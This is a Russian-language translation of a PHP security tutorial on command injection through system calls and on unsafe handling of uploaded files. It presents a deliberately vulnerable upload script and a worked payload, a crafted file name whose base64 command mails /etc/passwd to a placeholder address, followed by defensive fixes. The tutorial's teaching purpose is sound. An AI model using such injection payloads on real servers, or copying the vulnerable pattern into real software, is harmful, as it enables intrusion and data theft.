Безопасность в PHP, Часть II

Автор: content Понедельник, Апрель 9th, 2012 Нет комментариев

Рубрика: Язык PHP

Выполнение системных вызовов из PHP-скриптов

В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen() и оператор обратная кавычка [backtick] (`) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.

Пример скрипта, содержащего системный вызов

Представим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/). Вот код:

<?php
$zip        = "/usr/bin/zip";
$store_path = "/usr/local/archives/";

if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output     = `$systemcall`;

if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>

<form enctype="multipart/form-data" action="<?php
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место — там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки:

<?php
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;

Как обмануть скрипт и заставить его исполнять различные shell-команды

Итак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip), было использовано значение переменной $_FILES['file']['name'] (содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)?

[user@localhost]# touch ";php -r '\$code=base64_decode(\\
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"

Эта команда создаст файл с таким именем:

;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';

Странное имя, да? Правильно, это «имя» похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код:

<?php
$code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>

Если вы, из любопытства, выведете значение переменной $code, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду:

/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI

Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system() на самом деле выполнит это:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI

Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата.

Как защититься от атак, связанных с системными вызовами

Главное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg() и escapeshellcmd().

Функция escapeshellarg() предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip). Синтаксис функции такой:

escapeshellarg($string)

где $string — это строка для «зачистки», а возвращаемое значение и есть «зачищенная» строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки:

<?php
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
?>

то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем.

Функция escapeshellcmd() похожа на свою коллегу с тем исключением, что при «зачистке» будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg() эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd() для такой строки:

$string = "'hello, world!';evilcommand"

то она станет такой:

\'hello, world\'\;evilcommand

Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, \'hello и world\'\;evilcommand, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg() предпочтительнее.

Защита upload-файлов

До данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки:

<?php
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
?>

Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file(). Работа этой функции похожа на действие функции file_exists() за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины.

Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file() в PHP есть функция move_uploaded_file(). Работает она также, как и rename() при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file() такой:

move_uploaded_file($filename, $destination);

При вызове эта функция переместит upload-файл $filename в $destination и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции.

Автор: John Coggeshall
Автор перевода: Данил Миронов

Источник: detail.phpclub.net

Источник: http://www.php.su/articles/?cat=security&page=002

Оставить комментарий

Чтобы оставлять комментарии Вы должны быть авторизованы.

Похожие посты